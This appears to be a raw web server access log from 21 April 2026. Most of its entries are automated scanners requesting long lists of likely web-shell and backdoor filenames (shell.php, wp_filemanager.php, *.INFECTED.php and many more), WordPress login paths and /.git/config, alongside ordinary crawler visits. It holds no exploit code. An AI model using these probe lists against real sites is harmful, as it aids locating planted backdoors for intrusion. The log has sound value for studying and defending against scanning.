- - [21/Apr/2026:03:35:44 +0300] "GET /get_resource_type.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:47 +0300] "GET /gi.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:50 +0300] "GET /hyknpcxe.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:39 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:42 +0300] "GET /upload-size.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:44 +0300] "GET /uploads.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:46 +0300] "GET /uu_file_upload.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:48 +0300] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:50 +0300] "GET /wlw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:52 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:54 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:56 +0300] "GET /wp-includes.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:58 +0300] "GET /wp-loader.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:38:00 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:38:00 +0300] "GET /zgpqatcz.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:38:02 +0300] "GET /zm1eh.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:11 +0300] "GET /daniel.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:34:56 +0300] "GET /custom_file_3_1768522008.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:05 +0300] "GET /image2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:08 +0300] "GET /imageUpload.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:11 +0300] "GET /images.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:14 +0300] "GET /imsc.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:18 +0300] "GET /imscjpg.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:20 +0300] "GET /imscjpg1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:22 +0300] "GET /includes.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:24 +0300] "GET /indes.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:26 +0300] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:28 +0300] "GET /js.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:30 +0300] "GET /light.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:33 +0300] "GET /likBxE.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:35 +0300] "GET /mZOkJeDV.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:37 +0300] "GET /maint.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:40 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:42 +0300] "GET /media.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:45 +0300] "GET /midnight.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:46 +0300] "GET /modern.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:48 +0300] "GET /ms-site.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:50 +0300] "GET /ocean.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:53 +0300] "GET /phpimage.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:55 +0300] "GET /plugin-install.php.INFECTED.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:56 +0300] "GET /pomo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:36:58 +0300] "GET /providers.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:00 +0300] "GET /qlex1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:03 +0300] "GET /rest-api.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:06 +0300] "GET /rfatW.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:08 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:10 +0300] "GET /schema-part.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:12 +0300] "GET /sefer.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:14 +0300] "GET /sitemaps.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:16 +0300] "GET /smilies.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:19 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:22 +0300] "GET /tTPcH.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:24 +0300] "GET /tempfuns.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:25 +0300] "GET /template.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:27 +0300] "GET /template.php.INFECTED.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:29 +0300] "GET /theme-install.php.INFECTED.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:31 +0300] "GET /thumb.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:37:34 +0300] "GET /tskijagj.php HTTP/1.1" 301 795 "-" "-" 83.99.206.76 - - [21/Apr/2026:04:39:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoShopProductFinder) Chrome/142.0.0.0 Safari/537.36" 172.190.142.176 - - [21/Apr/2026:03:35:17 +0300] "GET /dist.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:20 +0300] "GET /ectoplasm.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:24 +0300] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:27 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:59 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:52 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:56 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:43 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:45 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:48 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 94.26.106.203 - - [21/Apr/2026:06:22:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 52.236.68.31 - - [21/Apr/2026:05:13:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:57 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:57 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:57 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:57 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [21/Apr/2026:05:13:57 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 23.20.137.32 - - [21/Apr/2026:05:29:04 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 23.20.137.32 - - [21/Apr/2026:05:38:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 49.51.233.46 - - [21/Apr/2026:08:48:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 57.129.119.186 - - [21/Apr/2026:08:03:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; ProductLookoutBot/1.0)" 12.217.32.52 - - [21/Apr/2026:08:51:12 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.155.157.239 - - [21/Apr/2026:09:35:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [21/Apr/2026:06:50:22 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 57.129.119.186 - - [21/Apr/2026:08:02:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 209.38.89.214 - - [21/Apr/2026:07:55:45 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 17.22.253.143 - - [21/Apr/2026:10:20:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.22.253.143 - - [21/Apr/2026:10:20:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 47.91.104.88 - - [21/Apr/2026:10:18:14 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 106.54.62.156 - - [21/Apr/2026:10:41:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.24.210.212 - - [21/Apr/2026:11:18:19 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 160.19.18.50 - - [21/Apr/2026:12:20:01 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 209.38.89.214 - - [21/Apr/2026:12:17:33 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 217.182.189.50 - - [21/Apr/2026:13:30:37 +0300] "GET /wordpress/wp-login.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 173.252.82.13 - - [21/Apr/2026:13:03:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 217.182.189.50 - - [21/Apr/2026:13:13:49 +0300] "GET /wp/wp-login.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 116.76.36.80 - - [21/Apr/2026:13:22:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4451.94 Safari/537.36 LBBROWSER" 217.182.189.50 - - [21/Apr/2026:12:58:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 43.128.67.187 - - [21/Apr/2026:14:42:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.182.95 - - [21/Apr/2026:15:33:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [21/Apr/2026:15:53:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 45.94.31.132 - - [21/Apr/2026:15:35:29 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 172.213.17.76 - - [21/Apr/2026:15:38:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 117.241.189.133 - - [21/Apr/2026:16:41:41 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216.244.66.194 - - [21/Apr/2026:16:39:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 63.33.214.123 - - [21/Apr/2026:16:27:00 +0300] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:05:25 +0300] "GET /hroxw.php HTTP/1.1" 301 795 "-" "-" 180.110.203.108 - - [21/Apr/2026:17:08:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.216.244 - - [21/Apr/2026:17:09:08 +0300] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:19 +0300] "GET /wp-kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:37 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:41 +0300] "GET /wp-admin/network/edit.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:06 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:53 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:35 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:40 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:45 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:10 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:18 +0300] "GET /900.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:17:04 +0300] "GET /wp-class-api.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:17:12 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:17:21 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:05:14 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:05:48 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:05 +0300] "GET /ws57.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:19 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:19 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:49 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:29 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:55 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:58 +0300] "GET /wp-class-atom.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:23 +0300] "GET //wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:26 +0300] "GET /jk.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:29 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:02 +0300] "GET //rip.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:08:14 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:08:59 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:21 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:02 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:03 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:15:11 +0300] "GET /mk.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:17:39 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:28 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:37 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:15:48 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "-" 31.13.127.41 - - [21/Apr/2026:17:22:03 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 172.213.216.244 - - [21/Apr/2026:17:04:59 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:05:30 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:08:30 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:08:52 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:47 +0300] "GET /ws48.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:50 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:15 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:37 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:21 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:48 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:34 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:34 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:39 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:41 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:44 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:47 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:50 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:53 +0300] "GET /adoms.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:56 +0300] "GET /plugin-editor.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:13:59 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:25 +0300] "GET /aboute.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:38 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:46 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:04:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:05:42 +0300] "GET /set.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:07:01 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:07:29 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:08:02 +0300] "GET /bmi.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:30 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:28 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:32 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:45 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:10:48 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:42 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:04 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:06 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:09 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:50 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:53 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:56 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:22 +0300] "GET /admlo.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:27 +0300] "GET /gcqoa.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:05:56 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:12 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:06:34 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:07:55 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:08:42 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:58 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:17 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:25 +0300] "GET /tymn.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:44 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:15:38 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:15 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:15 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:07:13 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:07:39 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:09:25 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:11:16 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:12:03 +0300] "GET /wp-admin/network/users.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:14 +0300] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:17 +0300] "GET /gaza.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:20 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:31 +0300] "GET /ws82.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:34 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:14:38 +0300] "GET /yw5bi63u.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:15:22 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:16:57 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 172.213.216.244 - - [21/Apr/2026:17:17:28 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 161.97.174.100 